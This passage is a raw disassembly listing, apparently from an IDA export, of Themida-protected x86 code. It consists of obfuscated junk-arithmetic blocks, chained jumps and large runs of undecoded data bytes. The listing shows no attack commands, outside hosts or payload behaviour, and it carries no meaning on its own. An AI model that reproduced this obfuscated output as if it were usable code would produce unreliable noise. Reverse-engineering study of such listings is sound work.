		dd 0E904EC83h, 4814h, 14F58158h, 89000100h, 0CB895DE9h
		dd 0F4ABE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51DDFE:				; CODE XREF: Themida_:0051151Bj
		mov	edx, 531905ACh
		not	edx
		add	edx, 0EF6ED66h
		jmp	loc_51E30B
; ---------------------------------------------------------------------------
		dd 2804C483h, 0D9B050C3h, 5158C328h, 0C5FE73B5h, 0F678B252h
		dd 4EEA80D2h, 525AD530h, 0FF8373E9h, 0E929B7FFh, 5266h
		dd 8124148Bh, 4C4h, 68515200h, 5790007Dh, 28F18159h, 8118812Fh
		dd 85454CE9h, 2BC98125h, 815B394Dh, 0C918F2C1h,	59CA899Dh
		dd 0FF4DEFE9h, 4EC83FFh, 53242C89h, 0D5006DBBh,	3817E9FBh
		dd 0C781FFFFh, 4, 4C781h, 3C870000h, 55E95C24h,	0F7FFFF89h
		dd 0FCCE81DEh, 81704B7Ah, 244F56EEh, 0BF57461Ah, 4180C77h
		dd 3C3DE9h, 24048900h, 9A40AC68h, 8F0D5873h, 0F71BF203h
		dd 4E0C1D0h, 0FF4BCCE9h, 240C89FFh, 0B869E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51DECA:				; CODE XREF: Themida_:00517A7Bj
		mov	[esp], esi
		push	edi
		mov	edi, 7D9C330Eh
		jmp	loc_519A69
; ---------------------------------------------------------------------------
		dd 0E9243C33h, 0FFFF5FFAh
; ---------------------------------------------------------------------------


loc_51DEE0:				; CODE XREF: Themida_:00515424j
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_510303
; ---------------------------------------------------------------------------


loc_51DEF6:				; CODE XREF: Themida_:0051D5DAj
		sub	ebp, 40953013h
		sub	ebp, edx
		push	eax
		mov	eax, 40953013h
		jmp	loc_50FE16
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 12A6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51DF12:				; CODE XREF: Themida_:005155B5j
		xor	esi, ebp
		pop	ebp
		add	esi, 38772170h
		shl	esi, 2
		add	esi, 0B38AFD4Fh
		push	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_519F36
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 83000000h,	0C8704C1h, 6CE95C24h, 5AFFFF05h
		dd 0E9BF5752h, 0BA78DE28h, 8721D71Bh, 0E95FFA01h, 0FFFF2BCAh
		dd 0E908E7C1h, 0FFFFD24Fh
; ---------------------------------------------------------------------------


loc_51DF64:				; CODE XREF: Themida_:005187C3j
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 18102997h
		jmp	loc_512D97
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FF2583E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51DF7D:				; CODE XREF: Themida_:0051CD74j
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_523A47
; ---------------------------------------------------------------------------


loc_51DF8C:				; CODE XREF: Themida_:0050F6D1j
		add	ebp, ecx
		jmp	loc_512EED
; ---------------------------------------------------------------------------
		db 89h
		dd 4BE2434h, 1000000h, 0FF042474h, 348B2434h, 4C48324h
		dd 0FFFD50E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51DFAD:				; CODE XREF: Themida_:00517E5Bj
		xor	ebp, 348F1B13h
		shl	ebp, 1
		or	ebp, 65D10149h
		jmp	loc_510D83
; ---------------------------------------------------------------------------
		dd 2768C301h, 0E9000072h, 270Fh, 68E9B951h, 0E9C13284h
		dd 32E98103h, 1C82C54h,	0D78959CAh, 5AD7295Ah, 0B3BF5756h
		dd 4767744Fh, 0FF953BE9h, 7ABD55FFh, 295C0273h,	0DA015DEAh
		dd 737AC281h, 34FF5C02h, 0C4835B24h, 4EC8304h, 0FF9D56E9h
		dd 2261BFFFh, 0B9517BD1h, 1FA744C5h, 5884E181h,	0EC81300Ch
		dd 4, 0FF71EBE9h, 244429FFh, 246C8104h,	0DA315304h, 24048B07h
		dd 4C481h, 56590000h, 3C0DE9h, 5EEC100h, 14F6814Eh, 816F5D74h
		dd 0A32F27C1h, 0E9F12958h, 0FFFF8111h
; ---------------------------------------------------------------------------


loc_51E060:				; CODE XREF: Themida_:0051B8CBj
		pop	eax
		push	dword ptr [esp]
		jmp	loc_50FB83
; ---------------------------------------------------------------------------
		db 88h,	0C8h, 0E9h
		dd 0FFFF0BEAh, 666DEF81h, 0F831DA78h, 4565E9h
		db 0
; ---------------------------------------------------------------------------


loc_51E07D:				; CODE XREF: Themida_:00514EC2j
		pop	ecx
		shr	ecx, 7
		shr	ecx, 6
		xchg	ebp, ecx
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		xchg	ebp, ecx
		shr	ecx, 8
		xor	ecx, 0FFF9B4h
		add	ebp, 5578336Dh
		add	ebp, ecx
		sub	ebp, 5578336Dh
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	ebp, [esp]
		pop	esp


loc_51E0BF:				; CODE XREF: Themida_:0050E70Dj
		push	5899h
		jmp	loc_50F8C9
; ---------------------------------------------------------------------------


loc_51E0C9:				; CODE XREF: Themida_:0051B633j
		mov	ebp, ecx
		mov	edx, ebp
		pop	ebp
		pop	ecx
		and	eax, edx
		jmp	loc_515450
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 0F1F56706h, 15AD129h, 240C8BCFh, 81E68956h, 4C6h, 4C68100h
		dd 87000000h, 815C2434h, 5B15D4EFh, 23D46837h, 0B3E90000h
		dd 31000045h, 2EE92414h, 0D1000031h, 0C1B850E6h, 0C16E9041h
		dd 0A2D08E0h, 31E9A5B7h, 24048BC6h, 4C481h, 0D680000h
		dd 89000032h, 0F0892404h, 41E2E9h, 0F6E95200h, 89FFFFADh
		dd 0E0892404h, 51CAE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51E14A:				; CODE XREF: Themida_:0051F008j
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ebp, eax
		pop	eax
		push	ecx
		mov	ecx, 1
		jmp	loc_51182A
; ---------------------------------------------------------------------------
		dd 1952CB81h, 2E902B5h,	81FFFFCEh, 4C7h, 4C78300h, 5C243C87h
		dd 0E924048Fh, 0FFFFE9C7h, 0E689565Ch, 4C681h, 0C6830000h
		dd 24348704h, 0FF80A7E9h, 98BD55FFh, 0E90DAD3Dh, 0FFFF099Fh
		dd 0E95AF720h, 0FFFF9E30h, 239C68h, 240C8900h, 2AAFBF57h
		dd 0F9895F11h, 5EA9E95Fh, 487FFFFh, 0C895C24h, 0FE6824h
		dd 2AE90000h, 89FFFF53h, 4C681E6h, 83000000h, 348704C6h
		dd 0B5E95C24h, 81FFFFA2h, 521FCFC1h, 56E9016Eh,	705F6850h
		dd 48B5BB9h, 4C48324h, 6727E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E1FE:				; CODE XREF: Themida_:0051218Fj
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_521625
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 0E085C681h, 0F681F0A8h, 456D04CEh, 33556853h, 34890000h
		dd 72256824h, 0C890000h, 8D2B924h, 0A0BE1DEDh, 0E9619E4Ah
		dd 0FFFF14D4h, 1C10E95Bh, 0EA81FFFFh, 0FFFFFFFFh, 8106E2C1h
		dd 0A55B0EAh, 22CE971h,	895C0000h, 0B5B9240Ch, 0E9BB0657h
		dd 3C71h
; ---------------------------------------------------------------------------


loc_51E264:				; CODE XREF: Themida_:0051F214j
		push	ecx
		mov	ecx, 4DC74A78h
		push	ebx
		jmp	loc_5218F1
; ---------------------------------------------------------------------------
		dd 0F180C9B1h, 0E9D9F6DAh, 0FFFF84A6h
; ---------------------------------------------------------------------------


loc_51E27C:				; CODE XREF: Themida_:00515B59j
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_52165E
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4EA8304h, 0BC0E9h, 4EB8100h,	87000000h, 79E9241Ch, 8BFFFF46h
		dd 0C481241Ch, 4, 582434FFh, 2B8068h, 9719E900h, 0E389FFFFh
		dd 0FFB76FE9h, 0F7DE87FFh, 81DE87D3h, 0B2531FF6h, 50C42D02h
		dd 0F0010911h, 1150C405h, 24348B09h, 293CE9h, 0E9516600h
		dd 0FFFF8BE5h, 2D2EE950h, 8B660000h, 0A668240Ch, 89000078h
		dd 5A542414h, 5DF1BD55h, 55E959CCh
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E30B:				; CODE XREF: Themida_:0051DE0Bj
		xor	ebx, edx
		jmp	loc_5216D7
; ---------------------------------------------------------------------------


loc_51E312:				; CODE XREF: Themida_:0051559Dj
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 39093B05h
		jmp	loc_5155E3
; ---------------------------------------------------------------------------
		db 5Bh,	8Bh, 1Ch
		dd 0E7895724h, 4C781h, 37E90000h, 89FFFF3Ch, 4C281E2h
		dd 83000000h, 70E904C2h, 89FFFF42h, 0B85057E3h,	16117EC9h
		dd 6CF630BFh, 0E9C7298Bh, 0FFFF6BE1h, 0B9240C89h, 0A0D62B75h
		dd 2959CB31h, 3218E9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51E37A:				; CODE XREF: Themida_:0051C9F8j
		pop	eax
		sub	eax, ebp
		pop	ebp
		add	eax, 61ED3F3Eh
		add	eax, edi
		push	edx
		mov	edx, 61ED3F3Eh
		sub	eax, edx
		pop	edx
		add	eax, 3C741022h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 21A23F4Dh
		inc	ebp
		push	120Ch
		mov	[esp], eax
		mov	eax, 44CC6FEFh
		jmp	loc_511207
; ---------------------------------------------------------------------------
aZhl_		db 'Zhl.',0
		dw 8900h
		dd 0F0BD242Ch, 1632B34h, 0EC835DEEh, 243C8904h,	3C57E953h
		dd 0C581FFFFh, 0ABD20296h, 8E9CD29h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_51E3DB:				; CODE XREF: Themida_:0050F2E4j
		push	dword ptr [esp]
		jmp	loc_5199F1
; ---------------------------------------------------------------------------
		db 0BAh
		dd 6B1A2B05h, 5909C181h, 0C7E9348Ah, 58000054h,	0BBE95B5Bh
		dd 8100003Dh, 0BB22A8EAh, 44BD5569h, 81745634h,	2CBD38EDh
		dd 5DEA2960h, 57240C8Bh, 0FF9512E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51E419:				; CODE XREF: Themida_:0051A466j
		mov	edx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		sub	edi, eax
		push	dword ptr [esp]
		jmp	loc_52392C
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 24148704h, 24048F5Ch, 0FF6310E9h, 49E95CFFh
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E447:				; CODE XREF: Themida_:0051914Bj
		push	716Bh
		mov	[esp], edx
		push	ebx
		mov	ebx, 46F5401Fh
		add	ebx, 1B354A5Dh
		add	ebx, 73D107D8h
		xor	ebx, 0C59D0D7Ah
		jmp	loc_51495C
; ---------------------------------------------------------------------------
		dd 89243489h, 4C681E6h,	83000000h, 343304C6h, 2EBDE924h
		dd 8B520000h, 0C481242Ch, 4, 5524148Bh,	1E9F68h, 24248900h
		dd 4240481h, 8B000000h,	11E9242Ch, 81FFFFD5h, 6D19DAEFh
		dd 81FAE915h, 835AFFFFh, 48704E8h, 1C895C24h, 706DE924h
		dd 0C701FFFFh, 3B54E9h
		db 0
; ---------------------------------------------------------------------------


loc_51E4C9:				; CODE XREF: Themida_:0050F8CCj
		mov	edi, ebx
		push	edi
		jmp	loc_51D36A
; ---------------------------------------------------------------------------
		db 0BAh, 2Ah, 0A7h
		dd 0D601FA81h, 5EF2295Ah, 0B028E958h, 0C581FFFFh, 31FC71CEh
		dd 4AE9EB29h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E4EF:				; CODE XREF: Themida_:0051A97Fj
		xchg	eax, [esp]
		pop	esp
		mov	[edi+20h], ebx
		mov	ebx, [esp]
		jmp	loc_5238F6
; ---------------------------------------------------------------------------


loc_51E4FE:				; CODE XREF: Themida_:00510A44j
		pop	esp
		push	small 5C58h
		mov	[esp], cx
		mov	cl, 2Bh
		push	5162h
		mov	[esp], edx
		push	eax
		mov	al, 3Dh
		and	al, 0D4h
		jmp	loc_521CCE
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 0ACEE8004h, 148BF300h, 4C48124h,	81000000h
		dd 4ECh, 240C8900h, 0FF1F34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51E53D:				; CODE XREF: Themida_:005169F5j
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5138C9
; ---------------------------------------------------------------------------
		db 1, 0CEh, 59h
		dd 0FEFE38E9h, 19CBBFFFh, 0C78130EAh, 7186353Dh, 6E9DFF7h
		dd 1FFFF90h, 84EB81FBh,	8B5CE608h, 69E9243Ch, 5EFFFF1Dh
		dd 563F622Dh, 5E80145h,	45563F62h, 2404335Dh, 33240431h
		dd 0D1E92404h, 68FFFFA7h, 996h,	0B9240C89h, 52056A9h, 0FFA07BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51E5A9:				; CODE XREF: Themida_:00521E5Bj
		mov	[esp], edi
		push	ebp
		jmp	loc_515BAB
; ---------------------------------------------------------------------------
		dw 8358h
		dd 565304C4h, 0FFA51EE9h, 74FF55FFh, 8F5D0424h,	0FF5C2404h
		dd 0E9592434h, 0FFFFBE28h, 7914C12Dh, 1DD12D19h, 1C8B7E8Eh
		dd 1A75E924h, 74FFFFFFh, 0B5E90424h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E5EB:				; CODE XREF: Themida_:00518165j
		mov	ebp, [esp]
		jmp	loc_51CD58
; ---------------------------------------------------------------------------


loc_51E5F3:				; CODE XREF: Themida_:0052015Bj
		mov	eax, ebx
		jmp	loc_510D77
; ---------------------------------------------------------------------------
		dw 489h
		dd 0F05E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E602:				; CODE XREF: Themida_:0051FB44j
		add	eax, 40166100h
		add	eax, 6DEB6AEEh
		sub	ebx, eax
		jmp	loc_514CCC
; ---------------------------------------------------------------------------
		db 68h
		dd 0F08h, 4756E9h, 34FF5D00h, 0C4815924h, 4, 0E9240433h
		dd 0FFFFC38Ch, 0B6A4E952h, 3489FFFFh, 4798E924h, 0CF89FFFFh
		dd 0FFAC21E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51E645:				; CODE XREF: Themida_:00515B4Fj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5234AC
; ---------------------------------------------------------------------------


loc_51E657:				; CODE XREF: Themida_:00522D6Ej
		pop	esp
		add	ebx, 4
		jmp	loc_51C0AA
; ---------------------------------------------------------------------------


loc_51E660:				; CODE XREF: Themida_:005109C3j
		add	dword ptr [esp], 5D6A4212h
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esi, 5D6A4212h
		pop	eax
		push	2760h
		jmp	loc_50F2DE
; ---------------------------------------------------------------------------


loc_51E68B:				; CODE XREF: Themida_:0050F931j
		push	343Eh
		jmp	loc_50FDE0
; ---------------------------------------------------------------------------
		db 58h,	89h, 0E8h
		dd 0FF6DD1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51E69D:				; CODE XREF: Themida_:00511324j
		pop	ecx
		jmp	loc_510B94
; ---------------------------------------------------------------------------


loc_51E6A3:				; CODE XREF: Themida_:005236B3j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_512E1A
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 42h
		dd 8102F99Dh, 0C48ACEDh, 81CD0117h, 0C48ACC5h, 0C5815917h
		dd 0B49316Eh, 0E8E9CD01h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E6D3:				; CODE XREF: Themida_:00521F18j
		and	ebx, eax
		pop	eax
		neg	ebx
		shl	ebx, 2
		jmp	loc_515727
; ---------------------------------------------------------------------------
		dd 246FE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E6E6:				; CODE XREF: Themida_:00510665j
		push	ecx
		mov	ecx, 32AE78A5h
		jmp	loc_520E2E
; ---------------------------------------------------------------------------
		db 58h,	56h, 0BEh
		dd 53104DB8h, 0BE9F289h, 0B3FFFFA5h, 68EEE92Ah,	7968FFFFh
		dd 89000003h, 0E189240Ch, 186CE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E716:				; CODE XREF: Themida_:0050E618j
		mov	esi, eax
		jmp	loc_513220
; ---------------------------------------------------------------------------
		db 59h,	56h, 54h
		dd 4C6815Eh, 81000000h,	4C6h, 24348700h, 608E685Ch, 4890000h
		dd 0FAB2E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51E73E:				; CODE XREF: Themida_:005234EAj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5144AB
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2C875800h, 24248B24h, 0EC81C80Fh, 4, 54240C89h
		dd 592434FFh, 2B36852h,	24890000h, 24048124h, 4, 4C2815Ah
		dd 56000000h, 4BEh, 5EF20100h, 8B241487h, 0C1812424h, 4
		dd 4EC8350h, 0B9240C89h, 4, 1BE9C889h, 81FFFF08h, 4ECh
		dd 24048900h, 0BE56E089h, 377146CBh, 584EE81h, 0E6812697h
		dd 54F333Ah, 1E19F681h,	0F0E93846h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E7D3:				; CODE XREF: Themida_:0051F8FFj
		mov	[esp], edi
		jmp	loc_518F0D
; ---------------------------------------------------------------------------
		db 81h
		dd 2EF4EEAh, 5AD701D2h,	0FF5547E9h, 59CA01FFh, 0FF4B46E9h
		dd 10F825FFh, 0F4055160h, 5210100h, 9DBEFEBEh, 8158C189h
		dd 5A2857EAh, 81CA013Ah, 5A2857C2h, 0FF52593Ah,	5A042474h
		dd 8B24048Fh, 4202424h,	0C9E99C24h, 5EFFFEF9h, 6E48BD55h
		dd 0D58763D7h, 0D587D2F7h, 0FFA5F2E9h, 0BF5755FFh, 5B3A50EBh
		dd 0C15FFD89h, 0F79508E5h, 0D58795D0h, 0D587D2F7h, 1BE0E581h
		dd 0BF576013h, 50480139h, 0C1D7F747h, 0F78106EFh, 50F6102Ah
		dd 3AD5F781h, 0FD018DA7h, 5DE9015Fh, 4E981h, 0C870000h
		dd 24895C24h, 0B2AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51E886:				; CODE XREF: Themida_:005134B4j
		xor	ecx, ebp
		jmp	loc_5136DF
; ---------------------------------------------------------------------------


loc_51E88D:				; CODE XREF: Themida_:005239E3j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_51FCC6
; ---------------------------------------------------------------------------
		db 81h,	0CDh, 0F3h
		dd 4D1D2D37h, 0C46C581h, 16E95484h, 5EFFFFBCh, 4C681h
		dd 0B9510000h, 28C3191Ch, 8106E1C1h, 0DC3635F1h, 2DC18127h
		dd 0E910FE19h, 0FFFFADB9h, 42474FFh, 582434FFh,	569C68h
		dd 8AADE900h, 0F758FFFFh, 0EFC197D0h, 4D87E903h, 0DBF70000h
		dd 3117EB81h, 0C38107D4h, 0A7D0964h, 0FFBBDAE9h, 4DD5F7FFh
		dd 0F4C9C581h, 0F58162D8h, 2793069Bh, 0A41DC581h, 0BA52A44Bh
		dd 216D1F94h, 17D86853h, 815B368Dh, 4ECh, 243C8900h, 8F91E956h
		dd 1C89FFFFh, 5D9E6824h, 5EE917E6h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E93B:				; CODE XREF: Themida_:005156F0j
		mov	esp, [esp]
		jmp	loc_51B300
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 1AE95300h, 6600004Bh, 0E924048Bh, 0FFFFB00Eh
; ---------------------------------------------------------------------------


loc_51E958:				; CODE XREF: Themida_:0050E4D3j
		add	eax, esi
		push	dword ptr [esp]
		jmp	loc_51469C
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4E981h, 0C870000h, 451EE924h, 0EFD10000h,	0BD55DFF7h
		dd 4C834AA3h, 0FFFF14E9h, 81E289FFh, 4C2h, 4EA8300h, 5C241487h
		dd 0B9240C89h, 4CEB41A4h, 0FEFDE2E9h, 68B850FFh, 0BA32CA4Bh
		dd 0CD35B49Ch, 34FFC201h, 0C4835824h, 22C4E904h, 0D8010000h
		dd 43674905h, 2F74E93Bh, 0C1430000h, 0E9E904E3h, 83FFFF2Dh
		dd 0F30104C4h, 241C875Eh, 6E29E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E9DE:				; CODE XREF: Themida_:005125D5j
		push	edx
		push	esi
		mov	esi, 67175F86h
		push	esi
		jmp	loc_510345
; ---------------------------------------------------------------------------
		db 52h
		dd 4BAh, 8DC68100h, 0E90D8F77h,	0FFFF3FD4h, 0C2815A54h
		dd 4, 0FF5519E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51EA09:				; CODE XREF: Themida_:0051C812j
		xor	edi, 0B1E894D0h
		jmp	loc_513BE7
; ---------------------------------------------------------------------------


loc_51EA14:				; CODE XREF: Themida_:00521435j
		push	esi
		jmp	loc_517479
; ---------------------------------------------------------------------------
		dw 0D168h
		dd 89000063h, 0E6892434h, 4C681h, 0C6830000h, 0B088E904h
		dd 34FFFFFFh, 240C8B24h, 4C481h, 89510000h, 4C181E1h, 83000000h
		dd 348904ECh, 0CDCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51EA52:				; CODE XREF: Themida_:0050F250j
		mov	[esp], esi
		jmp	loc_51A455
; ---------------------------------------------------------------------------
		dw 3B68h
		dd 8900003Dh, 0C6E9243Ch
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51EA67:				; CODE XREF: Themida_:00513907j
		add	bl, 0C6h
		add	bl, 6
		jmp	loc_5177C4
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFF61FAh, 0B2241489h, 81B55159h, 0FFD544E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51EA85:				; CODE XREF: Themida_:00515687j
		push	ebx
		xchg	esi, [esp]
		jmp	loc_51BD17
; ---------------------------------------------------------------------------


loc_51EA8E:				; CODE XREF: Themida_:00522CACj
		push	dword ptr [esp]
		jmp	loc_520D99
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 508E924h, 0C181FFFFh, 6E489D1Ah, 0EFA9E956h,	1C89FFFFh
		dd 7656BB24h, 0BA522A3Dh, 0F326BC9h, 0E95AD301h, 0FFFEFCF3h
; ---------------------------------------------------------------------------


loc_51EAC0:				; CODE XREF: Themida_:005141C8j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_512A7F
; ---------------------------------------------------------------------------
		db 81h
		dd 0F4B49FC2h, 2D1EE9FCh, 0C3810000h, 2C933BC7h, 47E9DBF7h
		dd 59FFFFBDh, 4022C781h, 8FE92747h, 5CFFFF69h, 81241489h
		dd 4ECh, 24348900h, 4E6A7268h, 0E9525E1Ah, 2D94h
; ---------------------------------------------------------------------------


loc_51EB08:				; CODE XREF: Themida_:0050E222j
		push	6721h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		jmp	loc_51B289
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 0B3685224h, 0E97B6B63h, 0FFFF2AB7h, 241C8B66h, 2C481h
		dd 0E9C00000h, 0CC18003h, 0E9B6C180h, 3DE3h, 7994EF81h
		dd 0FA01FE89h, 4F1CE95Fh, 0E958FFFFh, 0BCDh, 2AE9E789h
		dd 2D000005h, 1E6F4D51h, 8124148Bh, 4C4h, 24043300h, 0FF77F5E9h
		dd 54E955FFh, 5CFFFF02h, 0FF6C8FE9h, 51B951FFh,	8154E424h
		dd 0F9158EC3h, 81CB0142h, 0F9158EEBh, 33595942h, 1C31241Ch
		dd 241C3324h, 0D324248Bh, 0E99C2424h, 0FFFEF63Ch, 2A1881BBh
		dd 0ABC38145h, 29BEB93Dh, 0CA015BD9h, 7C186859h, 4890000h
		dd 4B824h, 0C2010000h, 24148758h, 24048F5Ch, 0FFEBF6E9h
		dd 89535DFFh, 8BB951E3h, 813DCB73h, 452E70C1h, 1E98308h
		dd 0FF0005E9h, 0C2815CFFh, 4, 80685550h, 0E9789329h, 0FFFF7F58h
		dd 4698E9ACh, 248BFFFFh, 24048F24h, 6424248Bh, 0DAE90288h
		dd 40FFFF40h, 96B85056h, 0E950F21Dh, 0FFFF63E4h, 0CC685755h
		dd 5F6BE159h, 5C73EF81h, 0D7F71C5Eh, 8103E7C1h,	2326F9C7h
		dd 5FFD89DBh, 3E5DC581h, 81451409h, 432AD9C5h, 5DEF01F7h
		dd 0B640012Dh, 0E9F8011Fh, 0FFFF2942h, 81241C8Bh, 4C4h
		dd 24148700h, 81C3285Ch, 4ECh, 240C8900h, 0F58052B5h, 8BEB28A7h
		dd 0C483240Ch, 0C0B60F04h, 0FF8734FFh, 68582434h, 4893h
		dd 54241489h, 5324148Bh, 0FFF615E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51ECA9:				; CODE XREF: Themida_:0051DCA8j
		add	esp, 4
		jmp	loc_50E8EC
; ---------------------------------------------------------------------------
		dd 4245429h, 5124148Bh,	0C181E189h, 4, 1417E9h,	5DE92900h
		dd 1901685Bh, 14890000h, 4BA24h, 0D1010000h, 240C335Ah
		dd 33240C31h, 48E9240Ch, 8FFFFFB9h, 0D3E93042h,	0FFFFFFEBh
		dd 555A2434h, 0C5815D54h, 4, 35B9B951h,	0C1834F9Fh, 0F1814101h
		dd 4F9F35BFh, 0E959CD01h, 0FFFF774Dh, 19DD6853h, 505B0A9Ch
		dd 35073CB8h, 0E689563Bh, 4C681h, 0EE830000h, 24348704h
		dd 241C895Ch, 0B44D41BBh, 0B9C3815Ah, 11AF226h,	23CFE9D8h
		dd 0C1810000h, 4, 0FFC8BFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51ED55:				; CODE XREF: Themida_:0051C84Bj
		sub	ebp, edi
		pop	edi
		add	edx, ebp
		pop	ebp
		push	4A65h
		mov	[esp], ebx
		jmp	loc_5118C3
; ---------------------------------------------------------------------------
		dd 1AF4E95Eh, 0ED68FFFFh, 89000057h, 0B8502414h, 7CB52C4h
		dd 0D0DC62Dh, 3DE63563h, 142D3E12h, 899AAC79h, 24048BC2h
		dd 4C481h, 0D6890000h, 0FF1479E9h, 0CBE94DFFh
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51EDA3:				; CODE XREF: Themida_:005180D7j
		add	esp, 4
		add	esi, edi
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_51A880
; ---------------------------------------------------------------------------


loc_51EDBC:				; CODE XREF: Themida_:00511C98j
		mov	[esp], bx
		xchg	dh, [esp+1]
		not	dh
		jmp	loc_512781
; ---------------------------------------------------------------------------


loc_51EDCB:				; CODE XREF: Themida_:0051C820j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_517248
; ---------------------------------------------------------------------------


loc_51EDE5:				; CODE XREF: Themida_:0050FCEEj
		add	ebx, edx
		sub	ebx, 60C27591h
		jmp	loc_515732
; ---------------------------------------------------------------------------


loc_51EDF2:				; CODE XREF: Themida_:0050FA9Aj
		xchg	edx, [esp]
		jmp	loc_514E1D
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 4C08300h, 0FF6B9DE9h, 240487FFh, 0D0CE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51EE12:				; CODE XREF: Themida_:00514414j
		pop	esp
		sub	[esp], al
		pushf
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------
		dd 0B8240489h, 6BC04C84h, 0A5E9C589h, 81FFFF74h, 4C7h
		dd 2A6EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51EE36:				; CODE XREF: Themida_:00516FA4j
		pop	edx
		push	ecx
		mov	ch, 0E0h
		sub	ch, 0FBh
		shr	ch, 4
		not	ch
		shl	ch, 4
		add	ch, 26h
		add	bl, ch
		pop	ecx
		push	edx
		mov	dl, 0Fh
		sub	bl, dl
		pop	edx
		sub	bl, 6
		jmp	loc_513902
; ---------------------------------------------------------------------------
		db 68h,	0B9h, 3
		dd 14890000h, 2885E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51EE66:				; CODE XREF: Themida_:0051C976j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_511520
; ---------------------------------------------------------------------------
		dd 27ADEA81h, 6DE934B2h, 66FFFEF3h, 0E9240C8Bh,	0FFFF8BD1h
		dd 4C481h, 0C7810000h, 55E816DBh, 0A574E9FDh
		db 2 dup(0FFh)
